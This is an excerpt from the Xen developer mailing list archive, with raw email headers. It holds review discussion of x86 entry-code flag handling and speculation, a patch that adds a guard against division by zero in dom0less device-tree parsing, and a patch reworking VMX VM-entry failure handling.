>> sanitises flags based on MSR_SYSCALL_MASK.  For all other cases, place the CLD
>> instruction next to STAC/CLAC so the flag handling is together.
> And really the earlier the better. Relevant perhaps for early_page_fault(),
> which has no CLAC.
>
>> Get rid of the compat=1 special case for PV32.  It's not obviously a win, and
>> PV32 is getting increasingly rare these days.
>>
>> No functional change.
>>
>> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
> Reviewed-by: Jan Beulich <jbeulich@suse.com>

Thanks.

>
>> Bloat-o-meter reports:
>>   add/remove: 0/0 grow/shrink: 0/12 up/down: 0/-518 (-518)
>>   Function                                     old     new   delta
>>   symbols_names                             135277  135276      -1
>>   symbols_offsets                            53664   53660      -4
> Interesting. Likely an artifact of padding going away between two functions.
> Which likely would change again if the SLS patches would finally land
> ("x86: guard against straight-line speculation past JMP or RET in assembly
> files" here in particular).
>
> Btw, as it occurs to me while mentioning SLS: Judging from the patches I
> have, IRET looks to be immune, albeit I can't find any statement in the doc.
> What about ERET{S,U}, uses of which we've gained only relatively recently?
I think the bit you want is in SDM Vol2.Â  For ERETS:

"Instruction ordering. Instructions following execution of ERETS may be
fetched from memory before earlier instructions complete execution, but
they will not execute (even speculatively) until all instructions prior
to ERETS have completed execution (the later instructions may execute
before data stored by the earlier instructions have become globally
visible)."

and says the same for ERETU.Â  Sadly, "following" is ambiguous in the
context of SLS, but an ERETS-to-self could end up legitimately executing
the next sequential instruction.Â  Either way, the "not execute even
speculatively" is the property wanted.
IRET notes that it's architecturally serialising, which is a much
stronger guarantee.

~Andrew


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 17:23:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 17:23:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356462.1611086 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh9VV-0004VE-Pe; Tue, 07 Jul 2026 17:22:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356462.1611086; Tue, 07 Jul 2026 17:22:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh9VV-0004V7-LO; Tue, 07 Jul 2026 17:22:53 +0000
Received: by outflank-mailman (input) for mailman id 1356462;
 Tue, 07 Jul 2026 17:22:52 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wh9VU-0004V1-A1
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 17:22:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh9VT-008EpU-68
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 19:22:51 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4d35e0-2eae-0a2a0a5409dd-0a2a4503d7ce-10
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 19:22:51 +0200
Received: from [52.101.69.120]
 (helo=AM0PR83CU005.outbound.protection.outlook.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4d35ea-ec1a-0a2a45030019-346545783597-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 19:22:50 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by PAVPR03MB9848.eurprd03.prod.outlook.com (2603:10a6:102:31c::6)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Tue, 7 Jul
 2026 17:22:48 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.012; Tue, 7 Jul 2026
 17:22:48 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=lb4cYvdny89zcwpyPTeFoi+AHq3xwZDCzoOqlOvZGCvJPlM0VY1xcPC079XoXe/Ah+nFMQebycSrB6oHiYpXtpcztErjDCJt/9OxWa0FqDaK1P3QTu4dGQ9GnBJOG8N1o6tJXD0Z34TQDhDVmotJwNaZYFmWqucONWc9CR0lSxC/39SFLCeLtYtmpT00w5P0ATT8PqHbCFP+4KvNOxMMILb0l4tRueXQT2aFS0HmMiZgzxZyhqg4uQKwkxa2tE9JS+ihAxAhZ32KQaGWXP68vqFh0EZiRZawxZp3kJooEFpK3J5gSXiIrsBSGs3ySkSQpQmMsHe5HOEFTxmd1vMFfw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=VFi3uEwnIeZGQNeWi++DWXbjD/RgN6Pznd2g6JvFo4A=;
 b=rJ5DFO+zn8HnsjSLN43yqMQZ8cHN1E9/DvhUjrYd1hEF8b82Ac2OlDG9f4kZqEkJakWgwQ1hpRrvHNPEalVgPHK1R1fpEzze+Vo4zXZ37yCIVkqGY8n5NmZjEFNvbnpMLec69Vh1uoAg0Rcs++sLbzeW/NTPvxaha0RdP3jvxEnk+H44AFyIMWfC9K8MDnph9SFBOr/9aKuGNGRfvTG23aOjE2XTxiszkOIwgnmRLwvQvZL9+QPbT7xS4biX/exwiG6+9no91D3sOzbmqfH9QURYaVZ8Tn5brCwfWbUMQ4r+351+b6gkv+lk/xLnEizW+WbvLOe6HdDaXyWommByww==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=VFi3uEwnIeZGQNeWi++DWXbjD/RgN6Pznd2g6JvFo4A=;
 b=fmQTBUXnxjBmD6kAJTP5bryHmjudjpc07VfMVvhjHjVxDRQUtaozG1nw9tWvaAQDp5j69qeKh3yyhNi9RiX6V6TRBobh17DU30VV8JWTk437YCKpVOcwIzaIvUP8BTmzfJHz7jh4aGN6rqYL9MLNIXXXIpkAY6HNDtAUQPZOIwmePU6OAijWFQzYnQnTZrGIaBThuTDXGNbbjunzTTWbpodH1N33Qm4vz4V63j14SnyOVO9O6HgoK/kLeMzCdCe1/f0DNT46Djfs8iGIHkZ+OMntx+IyxSBVaFAAroVhrfTlVR1Omb5RqZ9kk8KiGs9TdyvCAIBN1OotiHJv0X1hlg==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, Oleksii
 Kurochko <oleksii.kurochko@gmail.com>
Subject: [PATCH for-4.22 v2] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Topic: [PATCH for-4.22 v2] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Index: AQHdDjU70ZWnanEzpkGiW5tTx+TsVg==
Date: Tue, 7 Jul 2026 17:22:48 +0000
Message-ID:
 <121636638689ab0d27679fdb711dd9488e5933d4.1783444762.git.dmytro_prokopchuk1@epam.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|PAVPR03MB9848:EE_
x-ms-office365-filtering-correlation-id: 8b5fe13e-0041-4f94-109e-08dedc4c5e1e
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|376014|366016|1800799024|42112799006|23010399003|18002099003|11063799006|38070700021|56012099006|3023799007;
x-microsoft-antispam-message-info:
 If0fuOs/q5TyjBiflc3fMASz2PWtBvX8ggIiKXtWvNBDR0PDz5Jdm3QMHjNEBYRRRusr0UV7ff7dYY34e5G+YFV9D1VCpnKt4R12JIWKO+Kk+17LYjSDDCToLMDvH4eIHxZXcinGxANbDw6hTmphAS/emKj9xIgdqj4I2CL7NSHgTuP3S+slURpmRz3bSlFMFIDNkRYSBBhCefBj77FLQ+BZtd9/Sw+WXJgCbSFTzZWZ9RqHJ0u3/0ywad9a1GYqHcgWZjNc3+EgUcnkoAekKumpwvQsueBLij0KRwrvh059Mkfl6eZvYWhc0kCvuXVDFD2/h/5aIPDPNrMgPpnquVYLlJxWAwSgZnQ/qyzH3MI/H7GJO/ZFxnzajyC4p8L9VGDeiclJ156WZvowWH2BvmQ0JXvxCLmtWFTs6uV9jeRhgJgdoWt40WZxUFItB8SW+/QNKIyk3Cfbcg+NzLbTBmS84lrl+Iu23/XJuj9w3JvfZ2UFvosJF8UExuHHdFWm02Xu+1wrmJfRcH+VUUxSUdEidAs5gCYs0nAzIuZ2cN3s9yojRJVPv6APsNtND1pkrHJHu7frj957qwRS8w7ICDF4dTujQSXvtNHrulLLOsczCnAp2528aao7gCBNF0PWrFj6vU7gbaITwlbwtuHzru/j6+bIVaTBZIfBDYe37rsn2fNmws6BDfi/EDzmHIdmaZ9btfBheiHXFhPJN3iYC+wnGbLuxTjZJ5Fpf0MBG+U=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(366016)(1800799024)(42112799006)(23010399003)(18002099003)(11063799006)(38070700021)(56012099006)(3023799007);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?iso-8859-1?Q?yEP8X39NOHRuVQ1AwY32TipbchJfhSTI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8Ean?=
 =?iso-8859-1?Q?yUlh1FSBflG7bp0lhQgzQFDRzGtXS+tMWOSZtzjVeFtniE0tibCv+H3mWR?=
 =?iso-8859-1?Q?nekFUjGMPluE8eOCSS8oeXUvqJHnkzw=3D?=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 8b5fe13e-0041-4f94-109e-08dedc4c5e1e
X-MS-Exchange-CrossTenant-originalarrivaltime: 07 Jul 2026 17:22:48.7744
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: Duu8FbVw9g10c3p2MFVcDEis72myW5GgfFIEDJrVsFGz94qP4cAKCBDi7KB6UBJxKe4HWky9a4rrIoPWFee/ABkFoVoElkPtkv2AcMc45hI=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PAVPR03MB9848
X-purgate-ID: tlsNG-33051d/1783444971-BC9825D1-321923E8/10/73395122804
X-purgate-type: spam
X-purgate-size: 1911

A malformed provided partial DTB specifying both '#address-cells =3D <0>'
and '#size-cells =3D <0>' causes '(address_cells * 2 + size_cells)' to
evaluate to 0. This sum is subsequently used as a divisor when calculating
the number of regions in the 'xen,reg' property:

    len =3D fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) =
*
                                        sizeof(uint32_t));

This leads to a division by zero exception in the Xen hypervisor during
boot, causing a hypervisor panic/crash.

Fix this by validating that '(address_cells * 2 + size_cells)' is greater
than zero before performing the division. If it is zero, log an error
message and return -EINVAL.

Fixes: 9ce974c47588 ("xen/arm: assign devices to boot domains")
Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
Reviewed-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Release-Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v2:
- added Fix tag
- added Oleksii's R-b tags
---
 xen/common/device-tree/dom0less-build.c | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/xen/common/device-tree/dom0less-build.c b/xen/common/device-tr=
ee/dom0less-build.c
index eacfd93087..6796851844 100644
--- a/xen/common/device-tree/dom0less-build.c
+++ b/xen/common/device-tree/dom0less-build.c
@@ -154,6 +154,13 @@ static int __init handle_passthrough_prop(struct kerne=
l_info *kinfo,
=20
     /* xen,reg specifies where to map the MMIO region */
     cell =3D (const __be32 *)xen_reg->data;
+
+    if ( (address_cells * 2 + size_cells) =3D=3D 0 )
+    {
+        printk(XENLOG_ERR "Invalid address/size cells combination (both 0)=
\n");
+        return -EINVAL;
+    }
+
     len =3D fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells)=
 *
                                         sizeof(uint32_t));
=20
--=20
2.43.0


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 19:36:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 19:36:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356508.1611094 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whBa6-0003Dj-SX; Tue, 07 Jul 2026 19:35:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356508.1611094; Tue, 07 Jul 2026 19:35:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whBa6-0003Dc-Po; Tue, 07 Jul 2026 19:35:46 +0000
Received: by outflank-mailman (input) for mailman id 1356508;
 Tue, 07 Jul 2026 19:35:45 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper3@citrix.com>) id 1whBa4-0003DG-SM
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 19:35:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whBa3-00EsSV-QX
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 21:35:43 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a4d550e-2eae-0a2a0a5409dd-0a2a4505ad64-2
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 21:35:43 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a4d550f-3cb2-0a2a45050019-d155802dc12e-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 21:35:43 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-493b779003fso23109185e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 12:35:43 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e0f50418sm70994505e9.11.2026.07.07.12.35.41
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 07 Jul 2026 12:35:41 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:MIME-Version:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1783452943; x=1784057743; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:from:to:cc:subject:date:message-id:reply-to;
        bh=uLIGahyTwlNdQVGeXjRBYS94ZxdoPIaROepzvXQIKV0=;
        b=jL47bVTlyRKk1attDMSrCoscS1Tridor1TlMRJFfUOO8UEVI/gX/ylVsHZnvwxVKwP
         qMCXmEykgUVQ5DVuuQBoOD/YAW2V3S7LJd2FJvFSmJpzkZ6iazL1UlHuYekPyknC/YkU
         0J5C69BacfMzhPv6jUONU07/PBlSOBhDLoF8U=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783452943; x=1784057743;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=uLIGahyTwlNdQVGeXjRBYS94ZxdoPIaROepzvXQIKV0=;
        b=EOm2BH246kUQrhwG5+TXChgrtGYNXgNSXUfjUfyey/6XcJrsvROqSY04Uhlzf5GElU
         INebsBLxPv6KoapPruL9bJcoo9RKT25CD8hU1NkT7fKPfx8SI4vctHS4w2a0nryyQJEb
         cYFA2hoA1/DtMMwI+FOPHcZVLBMF8nW7GXEOSK4o24ZHJj1rWvOq/g23SrS1hN2lEM5v
         zYi0YArDoOrBj4Ff2YFRVvtcAxSCPkS1Z5CQZ750WR0kYF4XLMq+viYCB3bG3AOC1xet
         NGEZn2R3JFg33bIjbGbPA9AMIfqtxfcsGIuLwyucIo0INEnrwuCqUzCu9iyC5yyi8eZ+
         HOMg==
X-Gm-Message-State: AOJu0Yx+R2dhxKLytsPk69a/FzDJUrhrBt36wXSkLS83IOwbOOg1WFJ4
	XQOaWvSLXq+Ox0c/ngrHylDbs2y8owCYCQGOKFKgLFr+Eeg9h3H61b1SgkOJYkljPKHwfOKUR1q
	pthrI
X-Gm-Gg: AfdE7clWxfZTYTDcQBnkVKBV8qlz45Vjq/t5TSWJzf7qCbQAUKwrJPgrVSQiHLSHeW4
	wYdv9qHnNbrrr6RqAcnosEXDwRMCyv+YJuN3f3NyMQ4p/saeGLFOoqlapa+fa3Qpy4Y14xKFvRT
	dM9zHbW+pHM4egvUro4VoS8ivmPZAC5aQeQuIfI4d3S6/avv8O1VWkvZ7AwzOylj7SAf4CB54c+
	aYnU0nIJ4rBHMt7R1Z7RvYcZFVjMBk+D9rKRHqz8GswNjCyvjhZ1m6XhXrI7sCb1JFabrINuT1p
	gFl/FAhMEU6rCG5Xd47D6UQ1dH7MOlfg/7bFRtyiC9FqsSbYVkAao9NSeinn/1HWpOLOXUahsvo
	yvvahuoYso9zTbjYdVzldF09XackipGO/SDWFFI56tYxVZbyFjqTNjHJS3euSMBPpGW0itTvELT
	LSiTG8dPHI4Pufhl1UaJvh3BjCmbQ9AB8gdiQ7Arb307MLyVpTjpiF1zOp3riWMQA=
X-Received: by 2002:a05:600c:37ce:b0:492:4363:e7d6 with SMTP id 5b1f17b1804b1-493df0777bemr75781515e9.37.1783452942679;
        Tue, 07 Jul 2026 12:35:42 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH] x86/vmx: Fix cascade crash in vmx_vmentry_failure()
Date: Tue,  7 Jul 2026 20:35:21 +0100
Message-Id: <20260707193521.1423908-1-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c201ff/1783452943-151042B8-720FE842/0/0
X-purgate-type: clean
X-purgate-size: 7326

The VMEntry failure handling does not distinguish VMFail Valid vs Invalid.  In
the latter case, vmx_vmentry_failure() will hit a BUG() when trying to look up
VM_INSTRUCTION_ERROR.

Preserving CF around PUSH_AND_CLEAR_GPRS is rather complicated.  Borrow a
spare byte in the cpu_info block.

Move all the failure logic into .text.cold to keep it out of the fastpath
cachelines.

In vmx_vmentry_failure(), only collect the instruction error in the case of
VMFailValid.  As well as printing the instruction error number decode them to
human readable names, except those which pertain to STM (a.k.a. SMI
dual-monitor or executive-VMCS-pointer), which is a mode Xen does not support.

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Jan Beulich <jbeulich@suse.com>
CC: Roger Pau MonnÃ© <roger.pau@citrix.com>
CC: Teddy Astie <teddy.astie@vates.tech>

Slightly RFC - it's fairly hard to these these.  It came from code inspection
rather than encountering a VMFailInvalid case in practice.

I'm surprised that Eclair wasn't logging a violation at the absence of an
asmlinkage or SAF lable considering that vmx_vmentry_failure() has no
declaration.
---
 xen/arch/x86/hvm/vmx/entry.S            | 43 +++++++++++++--------
 xen/arch/x86/hvm/vmx/vmcs.c             | 51 +++++++++++++++++++++----
 xen/arch/x86/include/asm/current.h      |  3 ++
 xen/arch/x86/include/asm/hvm/vmx/vmcs.h |  1 +
 xen/arch/x86/x86_64/asm-offsets.c       |  1 +
 5 files changed, 76 insertions(+), 23 deletions(-)

diff --git a/xen/arch/x86/hvm/vmx/entry.S b/xen/arch/x86/hvm/vmx/entry.S
index cebc70064048..24789341a082 100644
--- a/xen/arch/x86/hvm/vmx/entry.S
+++ b/xen/arch/x86/hvm/vmx/entry.S
@@ -154,21 +154,7 @@ UNLIKELY_END(realmode)
 
 .Lvmx_launch:
         vmlaunch
-
-.Lvmx_vmentry_fail:
-        sti
-        PUSH_AND_CLEAR_GPRS
-
-        /*
-         * SPEC_CTRL_ENTRY notes
-         *
-         * If we end up here, no guest code has executed.  The MSR lists have
-         * not been processed, so we still have Xen's choice of MSR_SPEC_CTRL
-         * in context, and the RSB is unchanged.
-         */
-
-        call vmx_vmentry_failure
-        jmp  .Lvmx_process_softirqs
+        jmp  .Lvmx_vmentry_fail
 
 LABEL(vmx_asm_do_vmentry)
         GET_CURRENT(bx)
@@ -189,3 +175,30 @@ LABEL(vmx_asm_do_vmentry)
         call do_softirq
         jmp  .Lvmx_do_vmentry
 END(vmx_asm_vmexit_handler)
+
+        .section .text.cold, "ax", @progbits
+
+FUNC(vmx_asm_vmexit_handler.cold)
+.Lvmx_vmentry_fail:
+        /*
+         * SPEC_CTRL_ENTRY notes
+         *
+         * If we end up here, no guest code has executed.  The MSR lists have
+         * not been processed, so we still have Xen's choice of MSR_SPEC_CTRL
+         * in context, and the RSB is unchanged.
+         *
+         * The guest registers are live, and the on-stack copy is up-to-date.
+         * PUSH_AND_CLEAR_GPRS clobbers flags and can't reasonably be made not
+         * to.  The Carry flag (VMFail Invalid vs Valid) needs preserving.
+         *
+         * We could opencode PUSH_AND_CLEAR_GPRS but that's fragile to stack
+         * layout changes.  Instead, use a spare byte in the cpuinfo block.
+         */
+        setnc   STK_REL(CPUINFO_vmx_vmfail_valid, CPUINFO_error_code)(%rsp)
+
+        PUSH_AND_CLEAR_GPRS
+        sti
+
+        call    vmx_vmentry_failure
+        jmp     .Lvmx_process_softirqs
+END(vmx_asm_vmexit_handler.cold)
diff --git a/xen/arch/x86/hvm/vmx/vmcs.c b/xen/arch/x86/hvm/vmx/vmcs.c
index 8e52ef4d497a..8ff8d2426e94 100644
--- a/xen/arch/x86/hvm/vmx/vmcs.c
+++ b/xen/arch/x86/hvm/vmx/vmcs.c
@@ -1833,18 +1833,53 @@ void vmx_destroy_vmcs(struct vcpu *v)
     free_xenheap_page(v->arch.hvm.vmx.msr_bitmap);
 }
 
-void vmx_vmentry_failure(void)
+static const char *vmx_error_str(unsigned int error)
+{
+    switch ( error )
+    {
+    case VMX_INSN_VMLAUNCH_NONCLEAR_VMCS:
+        return "VMLAUNCH with non-clear VMCS";
+
+    case VMX_INSN_VMRESUME_NONLAUNCHED_VMCS:
+        return "VMRESUME with non-launched VMCS";
+
+    case VMX_INSN_VMRESUME_AFTER_VMXOFF:
+        return "VMRESUME after VMXOFF";
+
+    case VMX_INSN_INVALID_CONTROL_STATE:
+        return "Invalid control state";
+
+    case VMX_INSN_INVALID_HOST_STATE:
+        return "Invalid host state";
+
+    case VMX_INSN_VMENTRY_BLOCKED_BY_MOV_SS:
+        return "Blocked by MOV-SS";
+
+    default:
+        return "Unknown";
+    }
+}
+
+void asmlinkage __cold vmx_vmentry_failure(void)
 {
     struct vcpu *curr = current;
-    unsigned long error;
+    bool valid = get_cpu_info()->vmx_vmfail_valid;
 
-    __vmread(VM_INSTRUCTION_ERROR, &error);
-    gprintk(XENLOG_ERR, "VM%s error: %#lx\n",
-            curr->arch.hvm.vmx.launched ? "RESUME" : "LAUNCH", error);
+    gprintk(XENLOG_ERR, "VM%s Failure, VMCS %svalid\n",
+            curr->arch.hvm.vmx.launched ? "RESUME" : "LAUNCH",
+            valid ? "" : "not ");
 
-    if ( error == VMX_INSN_INVALID_CONTROL_STATE ||
-         error == VMX_INSN_INVALID_HOST_STATE )
-        vmcs_dump_vcpu(curr);
+    if ( valid )
+    {
+        unsigned int error = vmread(VM_INSTRUCTION_ERROR);
+
+        gprintk(XENLOG_ERR, "  Instruction Error %u, %s\n",
+                error, vmx_error_str(error));
+
+        if ( error == VMX_INSN_INVALID_CONTROL_STATE ||
+             error == VMX_INSN_INVALID_HOST_STATE )
+            vmcs_dump_vcpu(curr);
+    }
 
     domain_crash(curr->domain);
 }
diff --git a/xen/arch/x86/include/asm/current.h b/xen/arch/x86/include/asm/current.h
index 6139980ab115..3c53235d341a 100644
--- a/xen/arch/x86/include/asm/current.h
+++ b/xen/arch/x86/include/asm/current.h
@@ -80,6 +80,9 @@ struct cpu_info {
      */
     bool         use_pv_cr3;
 
+    /* Scratch space for the VT-x logic.  See users. */
+    uint8_t      vmx_vmfail_valid;
+
     /* get_stack_bottom() must be 16-byte aligned */
 };
 
diff --git a/xen/arch/x86/include/asm/hvm/vmx/vmcs.h b/xen/arch/x86/include/asm/hvm/vmx/vmcs.h
index 88bded5190c9..3b1c54fd055e 100644
--- a/xen/arch/x86/include/asm/hvm/vmx/vmcs.h
+++ b/xen/arch/x86/include/asm/hvm/vmx/vmcs.h
@@ -619,6 +619,7 @@ enum vmx_insn_errno
     VMX_INSN_VMCLEAR_WITH_VMXON_PTR        = 3,
     VMX_INSN_VMLAUNCH_NONCLEAR_VMCS        = 4,
     VMX_INSN_VMRESUME_NONLAUNCHED_VMCS     = 5,
+    VMX_INSN_VMRESUME_AFTER_VMXOFF         = 6,
     VMX_INSN_INVALID_CONTROL_STATE         = 7,
     VMX_INSN_INVALID_HOST_STATE            = 8,
     VMX_INSN_VMPTRLD_INVALID_PHYADDR       = 9,
diff --git a/xen/arch/x86/x86_64/asm-offsets.c b/xen/arch/x86/x86_64/asm-offsets.c
index 9d4536402661..65b2b96fd528 100644
--- a/xen/arch/x86/x86_64/asm-offsets.c
+++ b/xen/arch/x86/x86_64/asm-offsets.c
@@ -163,6 +163,7 @@ void __dummy__(void)
     OFFSET(CPUINFO_scf, struct cpu_info, scf);
     OFFSET(CPUINFO_root_pgt_changed, struct cpu_info, root_pgt_changed);
     OFFSET(CPUINFO_use_pv_cr3, struct cpu_info, use_pv_cr3);
